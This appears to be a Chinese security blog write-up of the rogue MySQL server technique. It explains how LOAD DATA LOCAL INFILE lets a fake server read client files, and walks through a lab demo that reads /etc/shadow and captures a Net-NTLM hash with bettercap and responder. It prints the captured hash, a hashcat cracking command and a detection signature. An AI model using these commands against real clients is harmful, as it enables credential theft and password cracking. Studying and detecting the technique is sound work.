备份链接:
https://pan.baidu.com/s/1dKQl5EHyNxuBuk22IKekyg 提取码: d434
作者:xlx
利用MySQL LOCAL INFILE我们可以伪造一个MySQL的服务端,向客户端回复 greeting package,当有客户端连接上假服务端的时候,我们可以任意读取客户端的一个文件(前提是客户端的用户具有读取该文件的权限)。
MySQL LOAD DATA INFILE过程
LOAD DATA INFILE 是用于读取客户端上的一个文件,并将其内容导入到一张表中。
在MySQL连接建立的阶段会有一个必要的步骤,即:
1、客户端和服务端交换各自功能
2、如果需要则创建 SSL 通信通道
3、服务端认证客户端身份
Wireshark 中抓取数据包,发现建立连接的步骤如下:
1、greeting包,获取服务端的 banner;
2、登录请求包,身份认证通过后,客户端会在实际操作之前发送请求,等待服务器的响应。“Client Capabilities”报文中包括名为Can Use LOAD DATA LOCAL的一个条目
3、大多数MySQL客户端以及程序库都会在握手之后至少发送一次请求,以探测目标平台的指纹信息,比如select @@version_comment limit 1之类。
4、LOAD DATA INFILE数据包
LOAD DATA LOCAL INFILE ‘C:\WINDOWS\system32\drivers\etc\hosts’ INTO TABLE test FIELDS TERMINATED BY ‘n’;读取hosts文件并写入test表中。
5、服务端回复了一个包含刚刚请求中文件名的包,这里把C:\WINDOWS\system32\drivers\etc\hosts又给发回去了。
6、客户端向服务端发送了C:\WINDOWS\system32\drivers\etc\hosts文件的内容
如果在客户端发送查询之后,返回一个Response TABULAR数据包,并附上我们指定的文件,就可以读取客户端的文件。
在MySQL协议中,客户端是不会存储自身请求的,而是通过服务端的响应来执行操作。
配合这两点就可以发现,我们可以恶意模拟MySQL服务端的身份认证过程,等待客户端的SQL查询,然后响应时返回一个 LOAD DATA 请求,客户端即根据响应内容上传了本机的文件。
形象一点的说就是下面这个样子:
客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!
服务端:OK,读取你本地 data.csv 文件并发给我!
客户端:这是文件内容:balabala!
正常情况下,这个流程不会有什么问题,但是如果我们制作了恶意的客户端,并且回复服务端任意一个我们想要获取的文件,那么情况就不一样了。
客户端:hi~ 我将把我的 data.csv 文件给你插入到 test 表中!
服务端:OK,读取你本地的C:WINDOWSsystem32driversetchosts文件并发给我!
客户端:这是文件内容:balabala!(hosts文件的内容)!
MySQL LOCAL INFILE漏洞利用POC
实验环境:
伪造mysql服务器:kali 192.168.231.153
受害者:Ubuntu 14.04 192.168.231.128
受害者:windows server 2003 192.168.231.134
Python实现的Poc: https://github.com/allyshka/Rogue-MySql-Server
Linux环境下mysql终端测试
Ubuntu通过mysql命令终端去连接伪造的mysql服务器192.168.231.153。
注意:Ubuntu 14.04+mysql-client-core-5.5进行测试,测试时发现未自动开启local-infile,需要添加–enable-local-infile标志才可以成功读取。
192.168.231.153的日志中记录成功读取了192.168.231.128的配置文件/etc/shadow。
流量特征
数据包的内容其实是从xfb开始的,这个字节代表包的类型,后面紧跟要读取的文件名。前面的x0c是数据包的长度(从 xfb 开始计算),长度后面的三个字节x00x00x01是数据包的序号。
Windows环境下mysql终端测试
Windows通过phpstudy自带的mysql 5.5.47命令行终端去连接伪造的mysql服务器192.168.231.153。
192.168.231.153的日志中记录成功读取了192.168.231.134的hosts配置文件。
流量特征
数据包的内容其实是从xfb开始的,这个字节代表包的类型,后面紧跟要读取的文件名。前面的x26是数据包的长度(从 xfb 开始计算),长度后面的三个字节x00x00x01是数据包的序号。
注意:MYSQL每次连接只能读取一个文件
Bettercap + responder获取windows Net-NTML hash
对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录。
Net-NTLM hash通常是指网络环境下NTLM认证中的hash,NTLM认证采用质询/应答(Challenge/Response)的消息交换模式,流程如下:
1、客户端向服务器发送一个请求,请求中包含明文的登录用户名。服务器会提前存储登录用户名和对应的密码hash
2、服务器接收到请求后,生成一个16位的随机数(这个随机数被称为Challenge),明文发送回客户端。使用存储的登录用户密码hash加密Challenge,获得Challenge1
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,获得Challenge2(这个结果被称为response),将response发送给服务器
4、服务器接收客户端加密后的response,比较Challenge1和response,如果相同,验证成功
在以上流程中,登录用户的密码hash即NTLM hash,response中包含Net-NTLM hash。
INFILE格式同样支持UNC路径,如果我们的恶意MySQL服务器运行在Windows系统上,我们可以使用如下查询语句获取net-NTLM哈希值。
Bettercap 已经集成好了一个恶意的MySQL服务器,可以在 项目Wiki 中找到详细的说明,使用也非常简单。
Bettercap mysql.server使用参考链接:
https://www.bettercap.org/modules/ethernet/servers/mysql.server/
Bettercap mysql.server参数如下:
设置mysql.server.infile的UNC路径为\192.168.231.153test,开启mysql.server。
bettercap -eval “set mysql.server.infile \192.168.231.153test; mysql.server on”。
开启responder监听eth0 responder -I eth0 -v。
某受害者连接伪造mysql服务器192.168.231.153。
bettercap获取192.168.231.134输入的用户名。
responder成功获取net-ntlm
[SMB] NTLMv1-SSP Client : 192.168.231.134
[SMB] NTLMv1-SSP Username : ASUS-BDF33EEF85Administrator
[SMB] NTLMv1-SSP Hash : Administrator::ASUS-BDF33EEF85:D2EFC47B87D00F2600000000000000000000000000000000:1DD8B2A0CD07F7EFC6133D5C5A7307185DD64AEDAF60784C:5eb846708158b081
Hashcat尝试hash破解
hashcat -m 5500 Administrator::ASUS-BDF33EEF85:636B6DC58A2391A100000000000000000000000000000000:50B90B7833909F8014F9066A0CFB8716059E4164A4C12303:395ed1e039d0f5f8 -a 3 ?d?d?d?d?d?d -w 3 –force –show
使用场景
1、蜜罐场景
将Bettercap + responder部署到自己VPS上3306开放出去,黑客如果通过公网windows系统或者个人windows主机利用mysql客户端过来连接,只要对方开启了MySQL LOCAL INFILE则可以获取对方net-ntlm hash,结合hashcat可以获取破解对方的密码。
黑客如果通过公网Linux系统利用mysql客户端过来连接,只要对方开启了MySQL LOCAL INFILE则可以获取对方/etc/shadow文件,结合hashcat可以获取破解对方的密码。
2、应急场景
Linux环境应急中,找到被黑的服务器,在服务器中做好其他防护后,故意开放虚假的3306端口,可能获取到黑客的net-ntlm hash或者/etc/shadow密码文件。
防御与检测
MySQL LOAD DATA INFILE读取客户端上文件的过程,流量特征较为明显,数据包的内容总是是从xfb开始的,这个字节代表包的类型,后面紧跟要读取的文件名。前面的x26是数据包的长度(从 xfb 开始计算),长度后面的三个字节x00x00x01是数据包的序号。
参考链接:
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/
https://www.bettercap.org/modules/ethernet/servers/mysql.server/
https://w00tsec.blogspot.com/2018/
https://github.com/lgandx/Responder
https://3gstudent.github.io/3gstudent.github.io/Windows%E4%B8%8B%E7%9A%84%E5%AF%86%E7%A0%81hash-NTLM-hash%E5%92%8CNet-NTLM-hash%E4%BB%8B%E7%BB%8D/
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论